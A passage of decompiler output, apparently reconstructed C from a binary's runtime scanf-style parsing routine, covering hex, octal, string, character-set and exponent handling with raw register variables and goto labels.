																								asm("cdq");
																								__eax =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																								__ecx =  *(__ebp - 0x1fc);
																								asm("adc ecx, edx");
																								 *(__ebp - 0x200) =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																								 *(__ebp - 0x1fc) = __ecx;
																								__eflags =  *(__ebp - 0x1f0);
																								if( *(__ebp - 0x1f0) == 0) {
																									L219:
																									__ecx =  *(__ebp - 0xc);
																									__ecx =  *(__ebp - 0xc) + 1;
																									__eflags = __ecx;
																									 *(__ebp - 0xc) = __ecx;
																									__edx =  *(__ebp + 8);
																									 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																									L220:
																									goto L222;
																								}
																								L217:
																								__edx =  *(__ebp - 0x78);
																								__edx =  *(__ebp - 0x78) - 1;
																								__eflags = __edx;
																								 *(__ebp - 0x78) = __edx;
																								if(__edx != 0) {
																									goto L219;
																								}
																								L218:
																								__al =  *(__ebp - 0x1e);
																								__al =  *(__ebp - 0x1e) + 1;
																								 *(__ebp - 0x1e) = __al;
																								goto L220;
																							}
																							L201:
																							__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																							if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																								L206:
																								__eax =  *(__ebp - 0x21c) & 0x000000ff;
																								__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																								__eflags = __eax;
																								if(__eax == 0) {
																									__dl =  *(__ebp - 0x1e);
																									__dl =  *(__ebp - 0x1e) + 1;
																									__eflags = __dl;
																									 *(__ebp - 0x1e) = __dl;
																								} else {
																									__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																									if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																										__eax =  *(__ebp - 0x200);
																										__edx =  *(__ebp - 0x1fc);
																										__cl = 2;
																										__eax = E004328F0( *(__ebp - 0x200), __ecx, __edx);
																										__eax = __eax +  *(__ebp - 0x200);
																										__eflags = __eax;
																										asm("adc edx, [ebp-0x1fc]");
																										__cl = 1;
																										 *(__ebp - 0x200) = __eax;
																										 *(__ebp - 0x1fc) = __edx;
																									} else {
																										__eflags =  *(__ebp - 0x21c) - 0x38;
																										if( *(__ebp - 0x21c) >= 0x38) {
																											__cl =  *(__ebp - 0x1e);
																											__cl =  *(__ebp - 0x1e) + 1;
																											__eflags = __cl;
																											 *(__ebp - 0x1e) = __cl;
																										} else {
																											__eax =  *(__ebp - 0x200);
																											__edx =  *(__ebp - 0x1fc);
																											__cl = 3;
																											 *(__ebp - 0x200) = E004328F0( *(__ebp - 0x200), __ecx, __edx);
																											 *(__ebp - 0x1fc) = __edx;
																										}
																									}
																								}
																								goto L215;
																							}
																							goto L202;
																						}
																						L223:
																						__eax =  *(__ebp - 2);
																						__eflags =  *(__ebp - 2);
																						if( *(__ebp - 2) != 0) {
																							__ecx =  *(__ebp - 0x200);
																							__ecx =  ~( *(__ebp - 0x200));
																							__edx =  *(__ebp - 0x1fc);
																							asm("adc edx, 0x0");
																							__edx =  ~( *(__ebp - 0x1fc));
																							 *(__ebp - 0x200) = __ecx;
																							 *(__ebp - 0x1fc) =  ~( *(__ebp - 0x1fc));
																						}
																						goto L252;
																					}
																					L177:
																					__ecx =  *(__ebp - 0xc);
																					__ecx =  *(__ebp - 0xc) + 1;
																					 *(__ebp - 0xc) = __ecx;
																					__edx =  *(__ebp + 8);
																					 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																					__eax =  *(__ebp - 0x21c);
																					__eflags =  *(__ebp - 0x21c) - 0x78;
																					if( *(__ebp - 0x21c) == 0x78) {
																						L179:
																						 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																						 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																						__eax =  *(__ebp + 8);
																						 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																						__eflags =  *(__ebp - 0x1f0);
																						if( *(__ebp - 0x1f0) != 0) {
																							__ecx =  *(__ebp - 0x78);
																							__ecx =  *(__ebp - 0x78) - 2;
																							 *(__ebp - 0x78) = __ecx;
																							__eflags =  *(__ebp - 0x78) - 1;
																							if( *(__ebp - 0x78) < 1) {
																								__dl =  *(__ebp - 0x1e);
																								__dl =  *(__ebp - 0x1e) + 1;
																								__eflags = __dl;
																								 *(__ebp - 0x1e) = __dl;
																							}
																						}
																						 *((intOrPtr*)(__ebp - 0x44)) = 0x78;
																						goto L189;
																					}
																					L178:
																					__ecx =  *(__ebp - 0x21c);
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						L183:
																						 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																						 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																						__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																						if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																							__eax =  *(__ebp - 0xc);
																							__eax =  *(__ebp - 0xc) - 1;
																							__eflags = __eax;
																							 *(__ebp - 0xc) = __eax;
																							__ecx =  *(__ebp + 8);
																							__edx =  *(__ebp - 0x21c);
																							__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																							 *(__ebp - 0x21c) = 0x30;
																						} else {
																							__eflags =  *(__ebp - 0x1f0);
																							if( *(__ebp - 0x1f0) != 0) {
																								__ecx =  *(__ebp - 0x78);
																								__ecx =  *(__ebp - 0x78) - 1;
																								__eflags = __ecx;
																								 *(__ebp - 0x78) = __ecx;
																								if(__ecx == 0) {
																									__dl =  *(__ebp - 0x1e);
																									__dl =  *(__ebp - 0x1e) + 1;
																									__eflags = __dl;
																									 *(__ebp - 0x1e) = __dl;
																								}
																							}
																							 *((intOrPtr*)(__ebp - 0x44)) = 0x6f;
																						}
																						goto L189;
																					}
																					goto L179;
																				}
																				L172:
																				__eax =  *(__ebp - 0x78);
																				__eax =  *(__ebp - 0x78) - 1;
																				__eflags = __eax;
																				 *(__ebp - 0x78) = __eax;
																				if(__eax != 0) {
																					L175:
																					__edx =  *(__ebp - 0xc);
																					__edx =  *(__ebp - 0xc) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0xc) = __edx;
																					__eax =  *(__ebp + 8);
																					 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																					goto L176;
																				}
																				L173:
																				__eflags =  *(__ebp - 0x1f0);
																				if( *(__ebp - 0x1f0) == 0) {
																					goto L175;
																				}
																				L174:
																				__cl =  *(__ebp - 0x1e);
																				__cl =  *(__ebp - 0x1e) + 1;
																				 *(__ebp - 0x1e) = __cl;
																				goto L176;
																			}
																			L170:
																			 *(__ebp - 2) =  *(__ebp - 2) + 1;
																			 *(__ebp - 2) =  *(__ebp - 2) + 1;
																			goto L172;
																		case 8:
																			L78:
																			__ecx =  *(__ebp - 0x215);
																			__eflags =  *(__ebp - 0x215);
																			if( *(__ebp - 0x215) > 0) {
																				__dl =  *(__ebp - 0x29);
																				__dl =  *(__ebp - 0x29) + 1;
																				__eflags = __dl;
																				 *(__ebp - 0x29) = __dl;
																			}
																			L80:
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			__ecx =  *(__ebp + 0xc);
																			 *(__ebp - 0x38) =  *(__ebp + 0xc);
																			__edx =  *(__ebp - 0x38);
																			__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																			__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5e;
																			if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5e) {
																				 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																				 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																				__dl =  *(__ebp - 3);
																				__dl =  *(__ebp - 3) - 1;
																				__eflags = __dl;
																				 *(__ebp - 3) = __dl;
																			}
																			L82:
																			 *(__ebp - 0x4c) = E0041BED0(__edi,  *(__ebp - 0x4c), 0, 0x20);
																			__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																			if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																				__ecx =  *(__ebp - 0x38);
																				__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
																				__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																				if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																					 *(__ebp - 0x7d) = 0x5d;
																					__eax =  *(__ebp - 0x38);
																					__eax =  *(__ebp - 0x38) + 1;
																					__eflags = __eax;
																					 *(__ebp - 0x38) = __eax;
																					__ecx =  *(__ebp - 0x4c);
																					 *((char*)( *(__ebp - 0x4c) + 0xb)) = 0x20;
																				}
																			}
																			while(1) {
																				L85:
																				__edx =  *(__ebp - 0x38);
																				__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																				__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																				if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																					break;
																				}
																				L86:
																				__ecx =  *(__ebp - 0x38);
																				__dl =  *( *(__ebp - 0x38));
																				 *(__ebp - 0x7e) =  *( *(__ebp - 0x38));
																				 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																				 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																				__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																				__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - 0x2d;
																				if(( *(__ebp - 0x7e) & 0x000000ff) != 0x2d) {
																					L89:
																					__dl =  *(__ebp - 0x7e);
																					 *(__ebp - 0x7d) =  *(__ebp - 0x7e);
																					 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																					 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																					1 = 1 << __cl;
																					__ecx =  *(__ebp - 0x4c);
																					 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																					 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																					__edx =  *(__ebp - 0x4c);
																					 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) = __al;
																					L98:
																					continue;
																				}
																				L87:
																				__edx =  *(__ebp - 0x7d) & 0x000000ff;
																				__eflags =  *(__ebp - 0x7d) & 0x000000ff;
																				if(( *(__ebp - 0x7d) & 0x000000ff) == 0) {
																					goto L89;
																				}
																				L88:
																				__eax =  *(__ebp - 0x38);
																				__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																				__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																				if(( *( *(__ebp - 0x38)) & 0x000000ff) != 0x5d) {
																					L90:
																					__eax =  *(__ebp - 0x38);
																					__cl =  *( *(__ebp - 0x38));
																					 *(__ebp - 0x7e) = __cl;
																					 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																					 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																					__eax =  *(__ebp - 0x7d) & 0x000000ff;
																					__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																					__eflags = ( *(__ebp - 0x7d) & 0x000000ff) - ( *(__ebp - 0x7e) & 0x000000ff);
																					if(( *(__ebp - 0x7d) & 0x000000ff) >= ( *(__ebp - 0x7e) & 0x000000ff)) {
																						__al =  *(__ebp - 0x7d);
																						 *(__ebp - 0x11) = __al;
																						__cl =  *(__ebp - 0x7e);
																						 *(__ebp - 0x7d) = __cl;
																					} else {
																						__dl =  *(__ebp - 0x7e);
																						 *(__ebp - 0x11) =  *(__ebp - 0x7e);
																					}
																					__dl =  *(__ebp - 0x7d);
																					 *(__ebp - 0x7e) =  *(__ebp - 0x7d);
																					while(1) {
																						L95:
																						__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																						__edx =  *(__ebp - 0x11) & 0x000000ff;
																						__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - ( *(__ebp - 0x11) & 0x000000ff);
																						if(( *(__ebp - 0x7e) & 0x000000ff) > ( *(__ebp - 0x11) & 0x000000ff)) {
																							break;
																						}
																						L96:
																						 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																						 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																						1 = 1 << __cl;
																						__ecx =  *(__ebp - 0x4c);
																						 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																						 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																						__edx =  *(__ebp - 0x4c);
																						 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) = __al;
																						__al =  *(__ebp - 0x7e);
																						__al =  *(__ebp - 0x7e) + 1;
																						__eflags = __al;
																						 *(__ebp - 0x7e) = __al;
																					}
																					L97:
																					 *(__ebp - 0x7d) = 0;
																					goto L98;
																				}
																				goto L89;
																			}
																			L99:
																			__eax =  *(__ebp - 0x38);
																			__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				L101:
																				__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																				if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																					__edx =  *(__ebp - 0x38);
																					 *(__ebp + 0xc) =  *(__ebp - 0x38);
																				}
																				L103:
																				 *(_t1275 - 0x48) =  *(_t1275 - 0x7c);
																				_t1062 =  *(_t1275 - 0xc) - 1;
																				 *(_t1275 - 0xc) =  *(_t1275 - 0xc) - 1;
																				E00426D30( *(_t1275 - 0x21c),  *(_t1275 + 8));
																				_t1277 = _t1277 + 8;
																				__eflags =  *(_t1275 - 0x44) - 0x63;
																				if( *(_t1275 - 0x44) != 0x63) {
																					_t1062 =  *(_t1275 - 0x18) - 1;
																					__eflags = _t1062;
																					 *(_t1275 - 0x18) = _t1062;
																				}
																				while(1) {
																					L105:
																					__eflags =  *(_t1275 - 0x1f0);
																					if( *(_t1275 - 0x1f0) == 0) {
																						goto L107;
																					}
																					L106:
																					 *(_t1275 - 0x78) =  *(_t1275 - 0x78) - 1;
																					__eflags =  *(_t1275 - 0x78);
																					if( *(_t1275 - 0x78) == 0) {
																						L128:
																						__eflags =  *(_t1275 - 0x40);
																						if( *(_t1275 - 0x40) == 0) {
																							L146:
																							_t1163 =  *(_t1275 - 0x48);
																							__eflags =  *(_t1275 - 0x48) -  *(_t1275 - 0x7c);
																							if( *(_t1275 - 0x48) ==  *(_t1275 - 0x7c)) {
																								L166:
																								goto L334;
																							}
																							L147:
																							__eflags =  *((char*)(_t1275 - 0x12));
																							if( *((char*)(_t1275 - 0x12)) == 0) {
																								 *(_t1275 - 8) =  *(_t1275 - 8) + 1;
																								__eflags =  *(_t1275 - 0x44) - 0x63;
																								if( *(_t1275 - 0x44) != 0x63) {
																									__eflags =  *(_t1275 - 0x29);
																									if( *(_t1275 - 0x29) == 0) {
																										 *( *(_t1275 - 0x7c)) = 0;
																										__eflags =  *(_t1275 - 0x34) - 0xffffffff;
																										if( *(_t1275 - 0x34) != 0xffffffff) {
																											__eflags =  *(_t1275 - 0x34) - 0x7fffffff;
																											if( *(_t1275 - 0x34) != 0x7fffffff) {
																												__eflags =  *(_t1275 - 0x7c) -  *(_t1275 - 0x48) + 1 -  *(_t1275 - 0x34);
																												if( *(_t1275 - 0x7c) -  *(_t1275 - 0x48) + 1 <  *(_t1275 - 0x34)) {
																													__eflags =  *0x43d1bc -  *(_t1275 - 0x34) -  *(_t1275 - 0x7c) -  *(_t1275 - 0x48) + 1;
																													if( *0x43d1bc >=  *(_t1275 - 0x34) -  *(_t1275 - 0x7c) -  *(_t1275 - 0x48) + 1) {
																														_t882 =  *(_t1275 - 0x34) -  *(_t1275 - 0x7c) -  *(_t1275 - 0x48) + 1;
																														__eflags = _t882;
																														 *(_t1275 - 0x270) = _t882;
																													} else {
																														 *(_t1275 - 0x270) =  *0x43d1bc;
																													}
																													__eflags =  *(_t1275 - 0x7c) -  *(_t1275 - 0x48);
																													E0041BED0(_t1273,  *(_t1275 - 0x48) +  *(_t1275 - 0x7c) -  *(_t1275 - 0x48) + 1, 0xfe,  *(_t1275 - 0x270));
																													_t1277 = _t1277 + 0xc;
																												}
																											}
																										}
																									} else {
																										 *( *(_t1275 - 0x7c)) = 0;
																										__eflags =  *(_t1275 - 0x34) - 0xffffffff;
																										if( *(_t1275 - 0x34) != 0xffffffff) {
																											__eflags =  *(_t1275 - 0x34) - 0x7fffffff;
																											if( *(_t1275 - 0x34) != 0x7fffffff) {
																												__eflags = ( *(_t1275 - 0x7c) -  *(_t1275 - 0x48) >> 1) + 1 -  *(_t1275 - 0x34);
																												if(( *(_t1275 - 0x7c) -  *(_t1275 - 0x48) >> 1) + 1 <  *(_t1275 - 0x34)) {
																													__eflags =  *0x43d1bc -  *(_t1275 - 0x34) - ( *(_t1275 - 0x7c) -  *(_t1275 - 0x48) >> 1) + 1;
																													if( *0x43d1bc >=  *(_t1275 - 0x34) - ( *(_t1275 - 0x7c) -  *(_t1275 - 0x48) >> 1) + 1) {
																														_t1077 =  *(_t1275 - 0x34) - ( *(_t1275 - 0x7c) -  *(_t1275 - 0x48) >> 1) + 1;
																														__eflags = _t1077;
																														 *(_t1275 - 0x26c) = _t1077;
																													} else {
																														 *(_t1275 - 0x26c) =  *0x43d1bc;
																													}
																													__eflags =  *(_t1275 - 0x7c) -  *(_t1275 - 0x48);
																													E0041BED0(_t1273,  *(_t1275 - 0x48) + 2 + ( *(_t1275 - 0x7c) -  *(_t1275 - 0x48) >> 1) * 2, 0xfe,  *(_t1275 - 0x26c) << 1);
																													_t1277 = _t1277 + 0xc;
																												}
																											}
																										}
																									}
																								}
																							}
																							while(1) {
																								L317:
																								 *(_t1275 - 0x1e9) =  *(_t1275 - 0x1e9) + 1;
																								 *(_t1275 + 0xc) =  *(_t1275 + 0xc) + 1;
																								goto L329;
																							}
																						}
																						L129:
																						 *((intOrPtr*)(L0041F530(_t1062))) = 0xc;
																						__eflags =  *(_t1275 - 0x29);
																						if( *(_t1275 - 0x29) == 0) {
																							_t1163 =  *(_t1275 - 0x48);
																							 *( *(_t1275 - 0x48)) = 0;
																							__eflags =  *(_t1275 - 0x34) - 0xffffffff;
																							if( *(_t1275 - 0x34) != 0xffffffff) {
																								__eflags =  *(_t1275 - 0x34) - 0x7fffffff;
																								if( *(_t1275 - 0x34) != 0x7fffffff) {
																									__eflags =  *(_t1275 - 0x34) - 1;
																									if( *(_t1275 - 0x34) > 1) {
																										__eflags =  *0x43d1bc -  *(_t1275 - 0x34) - 1;
																										if( *0x43d1bc >=  *(_t1275 - 0x34) - 1) {
																											_t1163 =  *(_t1275 - 0x34) - 1;
																											__eflags = _t1163;
																											 *(_t1275 - 0x268) = _t1163;
																										} else {
																											 *(_t1275 - 0x268) =  *0x43d1bc;
																										}
																										__eflags =  *(_t1275 - 0x48) + 1;
																										E0041BED0(_t1273,  *(_t1275 - 0x48) + 1, 0xfe,  *(_t1275 - 0x268));
																										_t1277 = _t1277 + 0xc;
																									}
																								}
																							}
																						} else {
																							_t1163 =  *(_t1275 - 0x48);
																							 *( *(_t1275 - 0x48)) = 0;
																							__eflags =  *(_t1275 - 0x34) - 0xffffffff;
																							if( *(_t1275 - 0x34) != 0xffffffff) {
																								__eflags =  *(_t1275 - 0x34) - 0x7fffffff;
																								if( *(_t1275 - 0x34) != 0x7fffffff) {
																									__eflags =  *(_t1275 - 0x34) - 1;
																									if( *(_t1275 - 0x34) > 1) {
																										__eflags =  *0x43d1bc -  *(_t1275 - 0x34) - 1; // 0xffffffff
																										if(__eflags >= 0) {
																											_t1163 =  *(_t1275 - 0x34) - 1;
																											__eflags = _t1163;
																											 *(_t1275 - 0x264) = _t1163;
																										} else {
																											_t1085 =  *0x43d1bc; // 0xffffffff
																											 *(_t1275 - 0x264) = _t1085;
																										}
																										__eflags =  *(_t1275 - 0x48) + 2;
																										E0041BED0(_t1273,  *(_t1275 - 0x48) + 2, 0xfe,  *(_t1275 - 0x264) << 1);
																										_t1277 = _t1277 + 0xc;
																									}
																								}
																							}
																						}
																						goto L334;
																					}
																					L107:
																					 *(_t1275 - 0xc) =  *(_t1275 - 0xc) + 1;
																					_t873 = E00426CD0( *(_t1275 - 0xc) + 1,  *(_t1275 + 8));
																					_t1277 = _t1277 + 4;
																					 *(_t1275 - 0x21c) = _t873;
																					__eflags =  *(_t1275 - 0x21c) - 0xffffffff;
																					if( *(_t1275 - 0x21c) == 0xffffffff) {
																						L126:
																						 *(_t1275 - 0xc) =  *(_t1275 - 0xc) - 1;
																						_t1062 =  *(_t1275 + 8);
																						E00426D30( *(_t1275 - 0x21c),  *(_t1275 + 8));
																						_t1277 = _t1277 + 8;
																						goto L128;
																					}
																					L108:
																					__eflags =  *(_t1275 - 0x44) - 0x63;
																					if( *(_t1275 - 0x44) == 0x63) {
																						L115:
																						_t1062 =  *((char*)(_t1275 - 0x12));
																						__eflags =  *((char*)(_t1275 - 0x12));
																						if( *((char*)(_t1275 - 0x12)) != 0) {
																							L124:
																							_t1209 =  *(_t1275 - 0x48) + 1;
																							__eflags = _t1209;
																							 *(_t1275 - 0x48) = _t1209;
																							L125:
																							L105:
																							__eflags =  *(_t1275 - 0x1f0);
																							if( *(_t1275 - 0x1f0) == 0) {
																								goto L107;
																							}
																							goto L106;
																						}
																						L116:
																						__eflags =  *(_t1275 - 0x18);
																						if( *(_t1275 - 0x18) != 0) {
																							L118:
																							__eflags =  *(_t1275 - 0x29);
																							if( *(_t1275 - 0x29) == 0) {
																								 *( *(_t1275 - 0x7c)) =  *(_t1275 - 0x21c);
																								 *(_t1275 - 0x7c) =  *(_t1275 - 0x7c) + 1;
																								_t1062 =  *(_t1275 - 0x18) - 1;
																								__eflags = _t1062;
																								 *(_t1275 - 0x18) = _t1062;
																							} else {
																								 *((char*)(_t1275 - 0x238)) =  *(_t1275 - 0x21c);
																								_t1088 =  *(_t1275 - 0x21c) & 0x000000ff;
																								_t914 = E0042F0A0( *(_t1275 - 0x21c) & 0x000000ff);
																								_t1284 = _t1277 + 4;
																								__eflags = _t914;
																								if(_t914 != 0) {
																									_t1218 =  *(_t1275 - 0xc) + 1;
																									__eflags = _t1218;
																									 *(_t1275 - 0xc) = _t1218;
																									_t923 = E00426CD0(_t1088,  *(_t1275 + 8));
																									_t1284 = _t1284 + 4;
																									 *((char*)(_t1275 - 0x237)) = _t923;
																								}
																								 *((short*)(_t1275 - 0x3c)) = 0x3f;
																								_t915 = E0041EA40(_t1275 - 0x214);
																								E0042F0C0(_t1275 - 0x3c, _t1275 - 0x238,  *((intOrPtr*)( *((intOrPtr*)(E0041EA40(_t1275 - 0x214))) + 0xac)), _t915);
																								_t1277 = _t1284 + 0x10;
																								_t1062 =  *((intOrPtr*)(_t1275 - 0x3c));
																								 *( *(_t1275 - 0x7c)) =  *((intOrPtr*)(_t1275 - 0x3c));
																								 *(_t1275 - 0x7c) =  *(_t1275 - 0x7c) + 2;
																								 *(_t1275 - 0x18) =  *(_t1275 - 0x18) - 1;
																							}
																							goto L125;
																						}
																						L117:
																						 *(_t1275 - 0x40) = 1;
																						goto L128;
																					}
																					L109:
																					__eflags =  *(_t1275 - 0x44) - 0x73;
																					if( *(_t1275 - 0x44) != 0x73) {
																						L113:
																						__eflags =  *(_t1275 - 0x44) - 0x7b;
																						if( *(_t1275 - 0x44) != 0x7b) {
																							goto L126;
																						}
																						L114:
																						_t925 =  *(_t1275 - 0x21c) >> 3;
																						_t1093 =  *((intOrPtr*)(_t1275 - 0x4c));
																						__eflags = ( *(_t1093 + _t925) ^  *(_t1275 - 3)) & 0x00000001 << ( *(_t1275 - 0x21c) & 0x00000007);
																						if((( *(_t1093 + _t925) ^  *(_t1275 - 3)) & 0x00000001 << ( *(_t1275 - 0x21c) & 0x00000007)) == 0) {
																							goto L126;
																						}
																						goto L115;
																					}
																					L110:
																					__eflags =  *(_t1275 - 0x21c) - 9;
																					if( *(_t1275 - 0x21c) < 9) {
																						L112:
																						__eflags =  *(_t1275 - 0x21c) - 0x20;
																						if( *(_t1275 - 0x21c) != 0x20) {
																							goto L115;
																						}
																						goto L113;
																					}
																					L111:
																					__eflags =  *(_t1275 - 0x21c) - 0xd;
																					if( *(_t1275 - 0x21c) <= 0xd) {
																						goto L113;
																					}
																					goto L112;
																				}
																			}
																			L100:
																			goto L334;
																		case 9:
																			goto L312;
																	}
																}
																L60:
																if( *(_t1275 - 0x44) == 0x63) {
																	L63:
																	 *((intOrPtr*)(_t1275 + 0x14)) =  *((intOrPtr*)(_t1275 - 0x1c));
																	 *((intOrPtr*)(_t1275 + 0x14)) =  *((intOrPtr*)(_t1275 + 0x14)) + 4;
																	 *(_t1275 - 0x7c) =  *( *((intOrPtr*)(_t1275 + 0x14)) - 4);
																	 *((intOrPtr*)(_t1275 - 0x1c)) =  *((intOrPtr*)(_t1275 + 0x14));
																	 *((intOrPtr*)(_t1275 + 0x14)) =  *((intOrPtr*)(_t1275 + 0x14)) + 4;
																	 *(_t1275 - 0x18) =  *( *((intOrPtr*)(_t1275 + 0x14)) - 4);
																	_t1104 =  *(_t1275 - 0x18);
																	 *(_t1275 - 0x34) =  *(_t1275 - 0x18);
																	if( *(_t1275 - 0x18) >= 1) {
																		goto L68;
																	} else {
																		_t1163 =  *(_t1275 - 0x215);
																		if( *(_t1275 - 0x215) <= 0) {
																			_t1163 =  *(_t1275 - 0x7c);
																			 *( *(_t1275 - 0x7c)) = 0;
																		} else {
																			_t1104 =  *(_t1275 - 0x7c);
																			 *( *(_t1275 - 0x7c)) = 0;
																		}
																		 *((intOrPtr*)(L0041F530(_t1104))) = 0xc;
																		goto L334;
																	}
																}
																L61:
																if( *(_t1275 - 0x44) == 0x73) {
																	goto L63;
																}
																L62:
																if( *(_t1275 - 0x44) != 0x7b) {
																	goto L68;
																}
																goto L63;
															}
															L58:
															if( *(_t1275 - 0x78) == 0) {
																L318:
																 *(_t1275 - 0xc) =  *(_t1275 - 0xc) - 1;
																_t1163 =  *(_t1275 - 0x21c);
																E00426D30( *(_t1275 - 0x21c),  *(_t1275 + 8));
																_t1277 = _t1277 + 8;
																goto L334;
															}
															goto L59;
														}
														L55:
														if( *(_t1275 - 0x21c) != 0xffffffff) {
															goto L57;
														} else {
															goto L334;
														}
													}
													L50:
													if( *(_t1275 - 0x44) == 0x63) {
														L53:
														_t1163 =  *(_t1275 - 0xc) + 1;
														 *(_t1275 - 0xc) = _t1163;
														_t939 = E00426CD0(_t1054,  *(_t1275 + 8));
														_t1277 = _t1277 + 4;
														 *(_t1275 - 0x21c) = _t939;
														goto L54;
													}
													L51:
													if( *(_t1275 - 0x44) == 0x7b) {
														goto L53;
													} else {
														_t941 = E00426D50(_t1020, _t1275 - 0xc, _t1273, _t1274, _t1275 - 0xc,  *(_t1275 + 8));
														_t1277 = _t1277 + 8;
														 *(_t1275 - 0x21c) = _t941;
														goto L54;
													}
												} else {
													L45:
													if(( *( *(_t1275 + 0xc)) & 0x000000ff) == 0x53) {
														L47:
														 *(_t1275 - 0x215) =  *(_t1275 - 0x215) + 1;
														goto L49;
													}
													L46:
													if(( *( *(_t1275 + 0xc)) & 0x000000ff) != 0x43) {
														_t944 =  *(_t1275 - 0x215) - 1;
														 *(_t1275 - 0x215) = _t944;
														goto L49;
													}
													goto L47;
												}
											}
										} else {
											 *(_t1275 - 0xc) =  *(_t1275 - 0xc) - 1;
											E00426D30(E00426D50(_t1020,  *(_t1275 + 8), _t1273, _t1274, _t1275 - 0xc,  *(_t1275 + 8)),  *(_t1275 + 8));
											_t1286 = _t1277 + 0x10;
											do {
												L4:
												 *(_t1275 + 0xc) =  *(_t1275 + 0xc) + 1;
												 *(_t1275 - 0x71) =  *( *(_t1275 + 0xc));
												_t962 = E004328C0(_t1020, _t1273, _t1274,  *(_t1275 - 0x71) & 0x000000ff);
												_t1286 = _t1286 + 4;
											} while (_t962 != 0);
											continue;
										}
									}
									goto L334;
								}
							}
						}
						L288:
						if( *(_t1275 - 0x21c) == 0x65) {
							L290:
							 *(_t1275 - 0x78) =  *(_t1275 - 0x78) - 1;
							if( *(_t1275 - 0x78) == 0) {
								goto L306;
							}
							L291:
							 *((char*)( *(_t1275 - 0x84) +  *(_t1275 - 0x10))) = 0x65;
							 *(_t1275 - 0x10) =  *(_t1275 - 0x10) + 1;
							_t1163 = _t1275 - 0x204;
							_t973 = E00426B90(_t1020, _t1275 - 0x84, _t1273, _t1274,  *(_t1275 - 0x10), _t1275 - 0x204, _t1275 - 0x84, _t1275 - 0x1e8, _t1275 - 0x28);
							_t1277 = _t1279 + 0x14;
							if(_t973 != 0) {
								L293:
								 *(_t1275 - 0xc) =  *(_t1275 - 0xc) + 1;
								_t974 = E00426CD0( *(_t1275 - 0xc) + 1,  *(_t1275 + 8));
								_t1288 = _t1277 + 4;
								 *(_t1275 - 0x21c) = _t974;
								if( *(_t1275 - 0x21c) != 0x2d) {
									L297:
									if( *(_t1275 - 0x21c) != 0x2b) {
										while(1) {
											L301:
											_t976 = E00432740(_t1020, _t1273, _t1274,  *(_t1275 - 0x21c) & 0x000000ff);
											_t1279 = _t1288 + 4;
											if(_t976 == 0) {
												goto L306;
